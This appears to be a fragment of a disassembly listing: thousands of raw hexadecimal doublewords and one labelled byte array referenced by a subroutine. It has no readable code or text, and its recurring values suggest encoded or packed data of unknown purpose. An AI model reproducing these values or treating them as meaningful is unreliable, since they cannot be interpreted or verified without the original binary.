		dd 9E9DE093h, 32128E04h, 0C0046644h, 0FA20CCAEh, 0F19E003Dh
		dd 46EA07D0h, 369E4260h, 36D1E506h, 32156AF8h, 3B406088h
		dd 0C4704174h, 5299D684h, 96AC3764h, 335724F6h,	0FA3C3F8Ch
		dd 706BC20Fh, 35936953h, 3D156688h, 321567CAh, 0B72E9322h
		dd 35C44A08h, 3252E487h, 3CFC6644h, 4D156622h, 87A680C3h
		dd 0E0CAF021h, 96F3EC2h, 32048FFDh, 1D26611h, 2415327Eh
		dd 7B9ECCE6h, 6A6A3995h, 9C5FFDCh, 0E334470Dh, 20966943h
		dd 0DB156622h, 32156616h, 0EC51AC98h, 53771A0Ch, 3211A4DAh
		dd 64EC07E8h, 65D4E36h,	1661EF73h, 36943826h, 0F9A2BE35h
		dd 3FFC0640h, 86156644h, 55098ECBh, 3038EFA7h, 0C1DDD405h
		dd 321568ADh, 9271E622h, 0A40EC8D5h, 1723BEE1h,	53BC00B2h
		dd 363122E5h, 5DBC5D57h, 36310A49h, 1679E541h, 7EEA6726h
		dd 76EA6235h, 469462ACh, 7BCC6260h, 65ED655Fh, 0A7232C79h
		dd 1629EDF4h, 3211A2C5h, 0D5946622h, 2FA7461Dh,	0B3108949h
		dd 42671183h, 0BCD2E730h, 0BBF9CD1Dh, 0BC1A3970h, 32156648h
		dd 3213E82Dh, 0BC1A6611h, 32156688h, 7F1FEBC9h,	3D7561F3h
		dd 32156498h, 54740688h, 0CD74A8CFh, 3E9969C3h,	3D156611h
		dd 32156002h, 32966944h, 52156622h, 320CEF1Eh, 26FC6688h
		dd 0EB156644h, 0F8D70399h, 3B31798Fh, 0B7B1ECC9h, 0B5D90AA5h
		dd 63FD4658h, 321566A8h, 60E46788h, 321566FEh, 0B8DF6722h
		dd 0DB4C3C13h, 32156698h, 3996C7C9h, 811892F1h,	3C58A89Bh
		dd 137F0EC8h, 321577ADh, 3727E022h, 5369FB2Fh, 0BBC8AC73h
		dd 0F2E3D15Eh, 0DB290CB0h, 333CE21Eh, 0EED6688h, 769169ACh
		dd 52156623h, 3DD2D671h
		dd 3215660Dh, 0B71A0744h, 32156621h, 53EFED77h,	0B61A69B4h
		dd 32156623h, 321DE82Dh, 0B81A6611h, 3215668Ah,	0BD1A0724h
		dd 32156623h, 3DD85AEDh, 3214EC0Ch, 0D9299E44h,	33A0E22Dh
		dd 60756611h, 68DDD187h, 20FC0725h, 68156622h, 40C4AF8Bh
		dd 27F8EE15h, 6148E141h, 0D95CE193h, 0BB1AA5A9h, 32156693h
		dd 32048F24h, 8D3D6622h, 0D87AED11h, 39AA3F85h,	0DD33ABFBh
		dd 3D01086Eh, 6074A1A6h, 32156732h, 7FFFE744h, 331EF04Ah
		dd 7FD7E7E3h, 0B81EF0E0h, 63E03C5Eh, 0D9359697h, 0B1316A9Ah
		dd 3D75624Ch, 0B81AA4F3h, 32156627h, 0D5F3E777h, 0C9950711h
		dd 0B89069C4h, 0CEEA99DDh, 0BB118A92h, 0C39C4284h, 0C74CADCDh
		dd 3213D874h, 0C1146611h, 0B3315203h, 32156280h, 88479A22h
		dd 32156613h, 262E8C09h, 0C0145C59h, 262EA4A3h,	28165C0Ch
		dd 32048FD2h, 0AB2E6644h, 5224F3A4h, 0B22C06B1h, 0CB1FFB1Ch
		dd 0DB0C0AB8h, 321566B8h, 321D8F71h, 334D6688h,	13FF7DE6h
		dd 0CD745792h, 2E9E6767h, 36D1E7ACh, 3D156644h,	321567A0h
		dd 8C759311h, 65FDD966h, 0C9EEE525h, 32CDE22Dh,	63EC6611h
		dd 0BB439701h, 6CE6EF8Ah, 20FC937Bh, 67156611h,	0A9F75616h
		dd 0DAB3385Ch, 28E49331h, 0B713B19Eh, 8C433773h, 61362303h
		dd 1B93A8A3h, 0DC947831h, 6D360B4Eh, 334B97CDh,	6B0C65D3h
		dd 321DE71Eh, 0B41A6688h, 32156646h, 8D420742h,	32156614h
		dd 110F8D09h, 0C9141F26h, 110FA5A3h, 524A1F73h,	0B9739C03h
		dd 0A8FC078Ah, 0DBEA99DCh, 3215661Eh, 784B32DCh, 0F8F92B50h
		dd 0F8F2AFBAh, 3D433A10h, 0CB14383Eh, 3D3B8DC7h, 0CDEB1EA6h
		dd 22FC9AEEh, 0B1156688h, 7FEF6B01h, 51925DA0h,	9C54A314h
		dd 0DB35F706h, 3215666Ah, 321560CBh, 9B304D11h,	0B29B25AEh
		dd 3DEB673Ah, 0CDEB2EA7h, 32068FEEh, 0A96E6688h, 21A6A297h
		dd 30AB2534h, 0D9FD48D1h, 1F1205A1h, 80FC9E84h,	3DEA99DEh
		dd 32156A91h, 349F6988h, 3D156644h, 321566ABh
		db 11h
byte_60FAC1	db 37h,	9Ch, 0D3h	; DATA XREF: sub_58A891+394Fo
		dd 3211A709h, 0DB966644h, 1619E126h, 1621EF4Dh,	32156361h
		dd 32456144h, 0BB432910h, 36D3E7F7h, 0B1156688h, 69262AAh
		dd 3E9C3A06h, 0BB469335h, 36D6E76Bh, 0B3156644h, 321562C9h
		dd 1609E111h, 1609EFD4h, 31916924h, 3D156622h, 89739FA6h
		dd 3D74D058h, 321562C9h, 0FC9E0622h, 0D19C3570h, 3211A509h
		dd 0D9946644h, 32156626h, 6E317A96h, 0DB315A01h, 3215664Bh
		dd 0DB75B49h, 0D5A2279Dh, 0C6036C90h, 0CA9A5BA2h, 3FFCA613h
		dd 0F7156611h, 559A07Eh, 38524DFFh, 64721A99h, 339F69BDh
		dd 0CE156688h, 0BB118AC7h, 0F49D4236h, 524F9599h, 0A09DDEEh
		dd 0DB33DE22h, 36F9E743h, 0BB156611h, 0C2A04284h, 0C74C8D64h
		dd 3D659DA2h, 32132B95h, 3D299A88h, 32EBE24Bh, 26FC6622h
		dd 99156611h, 0E1D0951h, 417A2C9Fh, 0E78A58D5h,	0ADEA4338h
		dd 0DBE23324h, 3215664Eh, 42D30410h, 0CF1BA54h,	0DB2970E6h
		dd 393CE24Bh, 0C7756622h, 851A0670h, 0E749346h,	659169AFh
		dd 0DB15662Dh, 32156618h, 9CD903EDh, 83784977h,	3DF65ABBh
		dd 32116B95h, 32188F88h, 0ADC86644h, 23058998h,	9A064B11h
		dd 0E17ACB6h, 0EE9169A6h, 0DB156632h, 32156617h, 4B908ABEh
		dd 6EAEC50h, 0F6943906h, 32156615h, 3A9B6974h, 52156644h
		dd 8A733871h, 0CD74E955h, 0B34E42BCh, 32156280h, 0B41A0622h
		dd 32156611h, 0A8CAD036h, 3E9E0775h, 0D19C3506h, 3211A590h
		dd 0F1966688h, 1609E140h, 8D1A067Eh, 0D89400E1h, 0CD747BCFh
		dd 0B14B4270h, 0B01A62E6h, 32156606h, 32157461h, 0C8AB0D44h
		dd 68E09432h, 0A69D3873h, 81076ECDh, 0F18BF965h, 32156DCBh
		dd 88C13811h, 996B25DEh, 3889FA8Ah, 1843E3E5h, 321361C8h
		dd 8B756688h, 74B17580h, 532D92A2h, 0BB118A92h,	32AD428Ch
		dd 33156644h, 6A0DECD2h, 0B61A3071h, 32156688h,	53CCED1Eh
		dd 0C7A63570h, 0E83D83A3h, 68C646D3h, 3213EC4Bh, 63756622h
		dd 53E2ED4Eh, 32156A61h, 984CB844h, 0BA90B72h, 8B34E3F5h
		dd 0B2EEE6C8h, 0CD09E34Bh, 0B51A99DDh, 3215661Dh, 3213EB87h
		dd 0B81A6644h, 32156622h, 0CDEAD946h, 0CC149977h, 0B9E99E1Bh
		dd 0E30937A7h, 321C8F16h, 0F19E6688h, 31D79216h, 0B972420Fh
		dd 0E3311784h, 0DC95068Fh, 0E8AB0087h, 0BB450753h, 0B9D6EFE1h
		dd 0F694428Ch, 32156640h, 321CE52Dh, 8B756611h,	54CDDEEDh
		dd 0B374C4F1h, 321562CEh, 1611EF11h, 32156030h,	6AD66744h
		dd 321574CBh, 4FA84C11h, 0CC0D5DC5h, 99A9D124h,	0EE7E2DE6h
		dd 60B0F3C3h, 321564E0h, 0C0143C44h, 0DB4F7C21h, 3215661Bh
		dd 0E59A7C79h, 5CEEE342h, 0EA2EDD2Bh, 321FE41Eh, 9EC6688h
		dd 5993699Eh, 0CAEA99DCh, 18168D90h, 0C93C58DEh, 1816D913h
		dd 0C9145874h, 2099694Eh, 0DB156688h, 32156649h, 0EDC31779h
		dd 94A41603h, 0A84FDB01h, 32018F8Dh, 82806622h,	0BCB05214h
		dd 0D42BAD6h, 4E100AFh,	74EEAFBh, 8F40248Eh, 3215668Eh
		dd 1E9E8D6Dh, 36D1E706h, 52156611h, 23FDBE02h, 1B156644h
		dd 0B87114ECh, 0DC1D87D8h, 0B239FB26h, 0A2B90A85h, 534B3E74h
		dd 21FCCB77h, 24156688h, 0E854DF14h, 2939D867h,	2367FB9Dh
		dd 66F4BBFAh, 997391D1h, 3CD57DEh, 3DCD57D2h, 32156F0Ah
		dd 0E4940644h, 13CF9DBFh, 3DBE07E9h, 32156703h,	0DB759A44h
		dd 32156624h, 0C5634482h, 3FFDAEE3h, 39156644h,	9940FE64h
		dd 0A185DE8Eh, 50573DFBh, 534C3816h, 3211D975h,	0CC146611h
		dd 0B1315A03h, 0B91A6280h, 3215662Eh, 3213E81Eh, 0B41A6688h
		dd 32156644h, 0DB315AABh, 32156603h, 529F83A8h,	0E8008607h
		dd 3618E93h, 3EAA2220h,	0BE1A9DBFh, 32156645h, 1661EFD7h
		dd 0B3759E1Dh, 1B11CE48h, 32068F7Fh, 42DA6622h,	61F942C5h
		dd 3E3518BEh, 25F398E2h, 4C333C53h, 879C0781h, 35C44745h
		dd 320CEF4Bh, 3D756622h, 32156692h, 32198F88h, 0F8086644h
		dd 0E1212D8Dh, 0F60DB75Eh, 0CD742B6Eh, 0B34A4270h, 321562E6h
		dd 0DB470611h, 3215669Ch, 9BC8CC40h, 5FACC22Ch,	0B8D3C9Ah
		dd 0EB543080h, 0D3DA2371h, 0EA94007Bh, 3D74B2CAh, 32156A06h
		dd 349F6944h, 3D156622h, 32156696h, 16219988h, 36D1E71Fh
		dd 3D156622h, 32157497h, 32188F88h, 0F1F26644h,	9749382Ch
		dd 0BEEBEAF7h, 0CD73997Eh, 0B14C4270h, 20FC62E6h, 20156611h
		dd 3E854DDEh, 1C5DB6F2h, 769D4882h, 0FFFE3A35h,	1621ED12h
		dd 0B3F2EF13h, 321562E5h, 36D2E711h, 0B5156688h, 3D494278h
		dd 321575ACh, 321B8F11h, 0FE9A6688h, 0A6E6F61Ch, 7F38A4E4h
		dd 0C749A87Ah, 32156C61h, 0D9BD5044h, 0D53E7D4Bh, 64A9991Dh
		dd 0F4948001h, 32156640h, 111A0A1h, 6244225h, 162155ACh
		dd 35FC0618h, 10156622h, 6973AEFEh, 0F295373Fh,	30FC0764h
		dd 52EA99C2h, 38FCF7A2h, 0AF156688h, 6DDF4B45h,	4959AC8Ah
		dd 0B7D20710h, 35CC4CDEh, 32156646h, 32156CCBh,	6E98711h
		dd 1037619Ah, 64A215EBh, 7E3162A3h, 0B919CB59h,	0F6964294h
		dd 7EFEE740h, 5219CB6Ah, 3DC3ED77h, 32157609h, 321E8F44h
		dd 7AF16622h, 32A7D3A3h, 130C684Ch, 841A07C1h, 0D495062Ch
		dd 321D8FA5h, 7EC66688h, 78E74956h, 3D7433B2h, 32156E92h
		dd 30986988h, 52156644h, 0B2ECE643h, 324EE51Eh,	87756688h
		dd 53A3D2C2h, 3789A5A3h, 0F1944F80h, 6A891327h,	0D994AD45h
		dd 6A89138Dh, 37898D90h, 88754F19h, 6A64EE78h, 3211ED2Dh
		dd 88736611h, 0DB746894h, 3215664Ah, 874A6B4Ah,	4B1648ACh
		dd 0C22C1622h, 8D429C04h, 0CDEA99DDh, 0CE4A9D38h, 32151F61h
		dd 0B31A0644h, 32156622h, 2A8B0E70h, 269C6688h,	1AEAD060h
		dd 0DB753CD3h, 32156619h, 0DF859445h, 310CB6E9h, 0B2E2ED42h
		dd 5374A5F6h, 3215DDDBh, 0F93C6644h, 2E9EBFABh,	36D1E535h
		dd 8072D0E8h, 89460763h, 321566DDh, 2E9EBF30h, 36D1E7ACh
		dd 0DB156644h, 32156628h, 70FD193Eh, 0D973FEA9h, 8C4363BBh
		dd 16E137BEh, 1B4B9538h, 0AED6E743h, 52319215h,	9416DF44h
		dd 0B79E07E4h, 35C47AD9h, 4380EDB1h, 3D12B706h,	32157395h
		dd 3D996988h, 0DB156644h, 32156628h, 2615040Dh,	0FADE52CBh
		dd 8F961556h, 35C4491Bh, 2B916910h, 0DB15668Ch,	3215664Fh
		dd 650AE1F5h, 889AA199h, 0B202BF7h, 33976987h, 0DB156626h
		dd 32156605h, 4971CF0Bh, 4368BF7Dh, 0FCC1F02h, 0AA69D49h
		dd 5227E59Ah, 0B01AB57Dh, 0CDEA9C48h, 3212E91Eh, 0BA1A6688h
		dd 32156645h, 32188FDAh, 81C66611h, 97479C78h, 32197C18h
		dd 0DBD813BCh, 321565ADh, 32156F61h, 20C9CD44h,	79DB067Dh
		dd 0B7D26F34h, 35CC4CDEh, 32156646h, 3214E72Dh,	0CBE96611h
		dd 0BB4830DDh, 54753BAFh, 3D76279Dh, 3D74A8AEh,	0B375683Eh
		dd 0B776DC9Eh, 321D8E71h, 3E9B6611h, 66C1C65Ch,	39FCFE9Ah
		dd 88156622h, 0BE4850D1h, 4C6E3517h, 534B27D7h,	3D959FA2h
		dd 32155392h, 3D440688h, 321566CCh, 0B3743F22h,	6C39FFD2h
		dd 67DE67BFh, 6C39FFF9h, 6FFE4F15h, 33AA31E8h, 33156688h
		dd 0DBEC39BFh, 321566B8h, 0C9A26971h, 1372C831h, 80470739h
		dd 0B2D798D8h, 83449AD3h, 0E6FCE6B9h, 0FB95BFB2h, 9AD4E60Eh
		dd 0CC4CAC39h, 35F7A64Ah, 1A6AA4C4h, 5AE93CF3h,	32156611h
		dd 58314A09h, 1B2E091Fh, 3694422Eh, 5D4E0C35h, 0BB1A3FB3h
		dd 32156649h, 32156ECBh, 858C8C11h, 0DFDA67A7h,	0CD7D3546h
		dd 69156622h, 0DB4EBF30h
		dd 32156681h, 3A8E9482h, 0B16911BAh, 4BFEE765h,	1B1174F5h
		dd 0EFAB308Fh, 0B35D8464h, 3D3855FFh, 0B3C39184h, 0E9409B8Ah
		dd 30FBA705h, 0B2939090h, 0C1145B65h, 0B79E9F1Ah, 35C47A73h
		dd 4380EDEDh, 0DB12B7ACh, 3215664Eh, 7B52A613h,	0FCE9F5BAh
		dd 8F9611E7h, 35C4497Dh, 5F916923h, 0DB156613h,	32156685h
		dd 0D795C94h, 8B82B134h, 39D0A13Fh, 3DCD5D25h, 321579C6h
		dd 0BA1A0622h, 32156617h, 3215ED87h, 0B746644h,	0F59369F1h
		dd 52EA99E9h, 6B33D4DFh, 53C6D94Bh, 3214DF73h, 0FC3C6611h
		dd 32078FD1h, 49766644h, 3023D9CCh, 26CA6E99h, 0A5D76648h
		dd 0E7A2E9BEh, 0C1A53673h, 0F24DA799h, 0C3956E69h, 34F4A679h
		dd 0B2178FE2h, 0FA9D79E0h, 32058FD1h, 599D6644h, 0CAAE7059h
		dd 63256506h, 0BB15ABC1h, 0DBBF8543h, 32156633h, 68AECE37h
		dd 0EFE4BA0h, 7CA69768h, 9A77807h, 89469F46h, 32156688h
		dd 88479545h, 32156622h, 389FBC10h, 3DFC3DD2h, 0A7156644h
		dd 0EA5E056Fh, 56CABE69h, 0F2FA8CA9h, 84475C51h, 0C19D35A2h
		dd 684EBE99h, 32156361h, 0C693A044h, 85464834h,	0B9EC461Eh
		dd 0F6964294h, 32128F40h, 0F0A06622h, 343D3B6Bh, 321C8FC8h
		dd 97446644h, 36761EBBh, 3A82D2EFh, 0CEBF9340h,	0CFD6E7B1h
		dd 1B75B53Fh, 0CFAA31EAh, 1B75B595h, 3FFC39BFh,	3156622h
		dd 8BC3B57Ch, 0A64AC017h, 0A331C156h, 3211D874h, 0F1946611h
		dd 1066546Dh, 0D994956Dh, 106654C7h, 321F8F4Fh,	0F006688h
		dd 0A850D878h, 80D8F588h, 0F124BE20h, 20FCBEB9h, 0F8156644h
		dd 21FCE7BDh, 7CFEA1F5h, 8D672D65h, 3E34C82Eh, 3BFCCD53h
		dd 8F156611h, 6911C89Fh, 0D0BCBF09h, 30AC3775h,	0BB156611h
		dd 0CC143F47h, 339A691Bh, 0CA156622h, 13D8D398h, 0CBED6159h
		dd 1D2CE383h, 321461F3h, 54756611h, 54C73E32h, 7A2EB0C5h
		dd 321C8F43h, 0A2516611h, 0B0D78B07h, 6043952Eh, 0F09484ABh
		dd 32156615h, 3211DED8h, 0F0146644h, 1601E17Ah,	321B8F4Dh
		dd 69D46688h, 1251226Ch, 0F41C4570h, 0C0C42F3Ch, 69315277h
		dd 3211A2C5h, 0CDEC6622h, 0B34C4225h, 3215624Ch, 32128F44h
		dd 139E6622h, 0A121ED16h, 36F9E55Fh, 0BB316ACDh, 36D4E7C3h
		dd 0B1156611h, 3E926249h, 34FC3A60h, 22156622h,	4F5B1D12h
		dd 0D49C3008h, 243DDC16h, 0F09406DEh, 6FF47A42h, 33DE8C09h
		dd 0E8E27CC1h, 2F918CA3h, 0F094335Bh, 0CBB728B0h, 0B14FB045h
		dd 69262E4h, 3DE93A35h,	3215670Eh, 40FC9A44h, 0DBEA99F8h
		dd 3215661Dh, 0B0BA2DE0h, 52A9D891h, 959BAA67h,	6D4B3147h
		dd 3DEBE1C7h, 321561C1h, 33976922h, 0CE156611h,	0B2A334DBh
		dd 0C11592F7h, 3260D678h, 98E93DC9h, 32156961h,	95036944h
		dd 0B6557CCAh, 0AE5056A6h, 0CC784CD5h, 0BBE2EF13h, 1629EDDAh
		dd 3D11A292h, 32156A00h, 34926944h, 3D156622h, 32156699h
		dd 4E536388h, 0FF101AC3h, 1B17EC2Fh, 3FD84BE9h,	74386402h
		dd 5269E138h, 3217E72Dh, 0C29E6611h, 0F52D9EEh,	8F409A25h
		dd 32156626h, 1E9E8E38h, 36D1E5ACh, 32188FBCh, 737A6622h
		dd 0D9B577A1h, 910D729h, 99965AD4h, 321575CBh, 0A755F711h
		dd 0E7405CC3h, 73E4AC73h, 0AD3D6A00h, 8F76590Eh, 0B34F32DAh
		dd 32156286h, 36D7E522h, 6E317296h, 321EE287h, 34FC6644h
		dd 57156622h, 3E214081h, 1609ED12h, 0B3F2EF13h,	321562E5h
		dd 36D2E711h, 0B5156688h, 3D494278h, 321567AAh,	3E9E9A11h
		dd 0D49C30ACh, 3211A0C5h, 0F4946622h, 32156615h, 6E31520Fh
		dd 3212EE4Bh, 0B41A6622h, 32156610h, 1621ED71h,	0B3F7EF16h
		dd 321562E0h, 36D7E511h, 6E31720Fh, 3214EC4Bh, 63E96622h
		dd 0F3948798h, 3215668Ch, 111A7C7h, 3E24422Eh, 16195535h
		dd 0D39406D4h, 28713A45h, 321568CBh, 9C82B011h,	69C3730Ch
		dd 632C25C3h, 536094B2h, 0CDCEB2F8h, 0F5E09F77h, 0EB3F30C1h
		dd 32156325h, 3E906911h, 0DB156688h, 32156643h,	9C580895h
		dd 64BBD153h, 44FBDED8h, 76242F67h, 694D6206h, 44FB9590h
		dd 0BA1A2FABh, 32156653h, 321574CBh, 0DEBAB311h, 2275A7A4h
		dd 0A0E32F7Ch, 9CF5F012h, 5AEE88EEh, 32150FC5h,	8A3162CDh
		dd 32156626h, 0DB4DA510h, 3215669Bh, 0D1854E23h, 0FB625DB0h
		dd 6C8EBEA5h, 45B321CFh, 608B050Eh, 32156698h, 62E76711h
		dd 32156630h, 31C56744h, 0DB4F3E3Ah, 3215661Bh,	22E62ACAh
		dd 0B2601511h, 3D7587D2h, 3215659Ah, 55DFE688h,	0B97496CEh
		dd 0E30937A7h, 0B9759F16h, 0A79E0756h, 35C44235h, 3CA833DBh
		dd 0B36B912Ch, 3AD7974Dh, 6FFB67C5h, 32156FCBh,	8DEBF711h
		dd 457D850Eh, 8F964688h, 35C44283h, 34916910h, 5215668Fh
		dd 0FF22DC13h, 8A4D22CDh, 6C5A5A1Ch, 3DCD5DE9h,	321534C6h
		dd 0B01A0622h, 32156615h, 0F63CDEEEh, 53E9AFC4h, 369E6942h
		dd 54156611h, 0DAB99632h, 3215664Eh, 907A654h, 0B64A70E6h
		dd 0CC9EAA7Ch, 0E82E071Bh, 3383E02Dh, 0DB756611h, 32156686h
		dd 74928E2Eh, 1EC9EB7Eh, 0FA2FC200h, 0B71AFA43h, 32156646h
		dd 0BB746496h, 0E334ABA4h, 3FFD068Fh, 0DF156644h, 0F7EACDD7h
		dd 638DA4A2h, 2E1950E9h, 321574ADh, 43959A22h, 0F4895EDCh
		dd 0F40ED892h, 50FB121Bh, 6D7244C8h, 3D74D1A2h,	3215750Bh
		dd 321B8F44h, 56066622h, 784D5004h, 0C8606B46h,	5311BAA1h
		dd 1843FBA9h, 0B3EC61C8h, 0F1942CCh, 0B33C6464h, 3C194266h
		dd 335A9D20h, 0B31942D4h, 3C194228h, 0B35A9D13h, 0F19427Dh
		dd 523C64A8h, 3202E94Bh, 23FD6622h, 59156611h, 15D15147h
		dd 4595B44Dh, 0C0E62056h, 0E7A4B757h, 0DBE907D3h, 32156045h
		dd 162199DEh, 36D1E54Eh, 321CE987h, 0B9756644h,	0EE2DEF2h
		dd 0F574445Dh, 0E331C70Dh, 32156743h, 22916922h, 0DB156611h
		dd 32156683h, 0D880CF16h, 58B3E6B9h, 0B90F622Eh, 0BB424294h
		dd 36D2E7A3h, 0B3156622h, 321562D6h, 1629E188h,	32068F18h
		dd 199A6622h, 407A858Ah, 8C89F653h, 25656E1h, 74CC4633h
		dd 162199DFh, 36D1E7D1h, 52156644h, 32156DCBh, 264DB611h
		dd 0C6F18453h, 8B141728h, 530CA9A2h, 6C3152EEh,	3211A209h
		dd 0BC1A6644h, 32156629h, 321560F8h, 0C9916288h, 63EB218Bh
		dd 0F3943F76h, 32156615h, 0B511A70Bh, 0DB494248h, 32156633h
		dd 84D8296Eh, 77DA0FDFh, 0ABCF4BD5h, 24E060E5h,	78FC9F5Ch
		dd 0DBEA995Eh, 32156648h, 1FA19A43h, 3A68606Eh,	477F92B2h
		dd 1D2CDBC7h, 3D1461F3h, 32107E95h, 37926988h, 52156644h
		dd 53E9B293h, 2E44FB3Ah, 0DBEC6159h, 32156650h,	0F47C8AB8h
		dd 76BA9B1Ch, 9D1E29A5h, 4191DA86h, 0E70515D8h,	2ADCEB9Ah
		dd 0B41A6159h, 32156643h, 0C1AFDE42h, 0B3747023h, 0E96EB361h
		dd 0FCD4E75Bh, 33702D63h, 0FCFCE7C8h, 0B3702DC9h, 0E96EB385h
		dd 0CC9E063Dh, 0E2F0D877h, 8FA833E9h, 0C51B9301h, 0A1F0E7F7h
		dd 0B35DD711h, 7CD31C65h, 6FFC6772h, 0DB949F0Bh, 3BA45F99h
		dd 32157661h, 0A07B144h, 0D27D20F9h, 3F404411h,	0C74AF82h
		dd 8C433305h, 32156627h, 1B4B9398h, 63EC3B61h, 0FFEB83F1h
		dd 0C795ABDCh, 0B2D89881h, 8447124Dh, 5EFBE65Bh, 0C495B0D4h
		dd 37E3E657h, 0BA4F93B8h, 98E93FACh, 2E7D36DAh,	0BB15660Eh
		dd 6B4D4284h, 3214EC4Bh, 99EC6622h, 3219EF1Eh, 8D756688h
		dd 5FED9513h, 0F3DFE744h, 664007F8h, 36D0E7D5h,	0B1156644h
		dd 1E9262E7h, 0CE753A35h
		dd 62D39037h, 6EA077Dh,	0F6963D06h, 0B9ED9315h,	0BB464284h
		dd 36D6E7A7h, 0B3156622h, 321562D2h, 1609E188h,	3E926918h
		dd 3D156622h, 3215609Bh, 32946988h, 0CD156644h,	0B34B4216h
		dd 321562D5h, 3BFC0688h, 3B156644h, 5E786673h, 3720FF09h
		dd 53538008h, 3276B02Ch, 1629EF22h, 0F5948198h,	3215668Ch
		dd 0B511A1C7h, 0C749421Eh, 0CDC2F2F8h, 0B7D29F77h, 35CC4C12h
		dd 32156620h, 321576F8h, 0FCEC388h, 0EFBA4A96h,	0EB8F2C3Eh
		dd 2DE5A09h, 1E943001h,	0CA26DF60h, 1609ED7Dh, 0B311A292h
		dd 0CA26DF4Bh, 3391691Bh, 0C7156622h, 320EEC1Eh, 0B91A6688h
		dd 32156651h, 321576CBh, 0D07B9411h, 0FBDE2531h, 0D69C0984h
		dd 9D7AD037h, 3CA36937h, 321AE487h, 38FC6644h, 91156622h
		dd 74B5B009h, 0ED25B79Fh, 0B2ECE6C8h, 3245E52Dh, 81756611h
		dd 0D994074Ah, 43A61104h, 232AA5A3h, 0F9140446h, 232A8D09h
		dd 0F1940413h, 43A61162h, 0B3C6ED71h, 9A4DCB7Ah, 60460707h
		dd 0B5573C79h, 321C8FC2h, 12E86688h, 0BB8FFC51h, 0DB90665Bh
		dd 321566B7h, 0DBC6ECE8h, 32156641h, 0A7A62016h, 607307EDh
		dd 0C33D993Eh, 1601ED22h, 3217A2A3h, 39FC6611h,	22156688h
		dd 271E8B4Ah, 799A38F1h, 0E3E2A145h, 3D14A70Bh,	32156DCAh
		dd 32138F22h, 58C46611h, 0F9451EA8h, 0B2CFED24h, 6474C7C0h
		dd 773DBFAFh, 94E3E783h, 0E3437759h, 0B3CB91C4h, 1446C6DFh
		dd 6FE3E783h, 135A1193h, 37FC38D3h, 9A156611h, 0EC8B9DDDh
		dd 7A23A5C5h, 0F1941E65h, 45F26BA3h, 0D994ADA1h, 45F26BF6h
		dd 7A238DA3h, 0B81A1E56h, 3215669Ah, 32156BADh,	80CFDA22h
		dd 0B84AFA2Eh, 37FFF17Ah, 0B79EE3E2h, 35C47A73h, 32156AF8h
		dd 7D054B88h, 74294390h, 0B3065229h, 4380ED04h,	0DB12B7ACh
		dd 3215664Ah, 0F9C974F1h, 0E6580A81h, 2968CDABh, 0ECFC8EDBh
		dd 52EA99D8h, 0DB109091h, 3215669Ah, 6B6A00E0h,	0DE04A2BBh
		dd 0CC64F5BFh, 0E295F317h, 0F5740796h, 0EB3F30A7h, 32156416h
		dd 0B51A9F88h, 32156643h, 3214E52Dh, 64E96611h,	0B3317A03h
		dd 32156280h, 0FC940622h, 6C33D2A5h, 48E6E7EEh,	841A076Bh
		dd 2497692Ch, 3D156611h, 32157600h, 321E8F44h, 0C4C36622h
		dd 773EE7C0h, 960225ADh, 0B2ECE6B4h, 3265E52Dh,	38FC6611h
		dd 28156688h, 2DDB0AFFh, 610CE636h, 0C4AA311Ch,	333E838Ah
		dd 0F91439BFh, 30E38DA3h, 0DB754DF4h, 32156682h, 566F3574h
		dd 53E87130h, 3AFC1F3Bh, 5E156688h, 7008F9B2h, 53421926h
		dd 321560F8h, 7FEA0588h, 605DC5F1h, 0CDEA9998h,	68C64FEEh
		dd 32156161h, 0E878E844h, 0D9F8887Bh, 3215E0F8h, 0B3730688h
		dd 0B3083D9Fh, 18EA2ACDh, 8146076Ch, 0B9CC4E77h, 0F6964258h
		dd 32198F26h, 0C7FF6611h, 41E48ACAh, 0B91D1295h, 884700D5h
		dd 32156611h, 237B8C09h, 0F83C6B20h, 237BA4A3h,	0E3926B75h
		dd 32048FD2h, 27AB6644h, 0C6D6F3AAh, 0EB71B1ACh, 165A27Ah
		dd 0B185C90Dh, 369C62CEh, 32EADE35h, 0F3346688h, 0F194931Ch
		dd 1A850AB9h, 10A08D90h, 0F93C665Ah, 10A0A5C5h,	0D99466F0h
		dd 1A850A8Ah, 3214EE87h, 0B9ED6644h, 0E30937A7h, 0A79E9E16h
		dd 35C442F9h, 321572ADh, 7D2ABD22h, 0DCFB9Ch, 0E8A71116h
		dd 0BC2E0D8Ch, 0A63855B6h, 8F969FF9h, 35C449B1h, 3916945h
		dd 52EA99D5h, 0B373FAA4h, 53E99641h, 0B01ABE7Fh, 32156667h
		dd 320DEF1Eh, 21FC6688h, 37156644h, 49FF9320h, 3AC9EF66h
		dd 4FB5D58Bh, 0CBACBEF6h, 0E12CE5A3h, 0DF91E01Eh, 21FC9977h
		dd 11156644h, 0A9A2B3F7h, 0B9860E8Eh, 0B5E19B98h, 71ADEE56h
		dd 0BC1A29DAh, 32156610h, 33AC3771h, 1B156644h,	0DB753FECh
		dd 32156603h, 0BA7A3F15h, 8D8B0C8Bh, 1C9820C4h,	5565BE42h
		dd 0BA1AE742h, 32156644h, 3E9E3043h, 36D1E735h,	0CA156688h
		dd 10BF8FC5h, 0CB3C5AB6h, 6EEBDD42h, 0E1E2130Ah, 0B31D8585h
		dd 3CCB30C9h, 69CC6750h, 36F9E771h, 0BB156644h,	37A8420Eh
		dd 1B156611h, 82EC3B61h, 6CD906Fh, 0E29D52E7h, 0C4BD62F9h
		dd 6DD9858h, 3E654205h,	3D6C6252h, 3215679Ah, 0DBBF9F88h
		dd 32156656h, 976F1C43h, 0B05DB2A5h, 0A6C89120h, 0E178575Ch
		dd 0FA24DFF4h, 0FA24A720h, 321DED87h, 0BB1A6644h, 32156620h
		dd 0DBBE0771h, 32156682h, 1FA43F23h, 9BEED858h,	38FC8A3Dh
		dd 0EB156688h, 634F1C05h, 0E6CC4891h, 0E1568FCEh, 20FC9977h
		dd 95156644h, 0C716ACBBh, 701D470h, 0A52D389Ah,	0BEC13ED4h
		dd 8B4434E6h, 32156611h, 334CAC01h, 6817ECB6h, 321572CBh
		dd 582CAC11h, 22A928D0h, 0D2161C0h, 4B65DCCh, 0F3350F9Fh
		dd 3DFD5A04h, 321526C0h, 321C8F22h, 4A5A6611h, 90B66141h
		dd 5A92C4F1h, 32156622h, 0B131629Ah, 3FFC624Ch,	0EF156644h
		dd 30BFC52Dh, 7FB50565h, 2D9817C8h, 3214E6ADh, 389E6922h
		dd 0DB156611h, 3215668Dh, 0EBB54934h, 0D29C36E4h, 32156214h
		dd 36FDE588h, 6E3162C3h, 52317AABh, 321576F8h, 89082888h
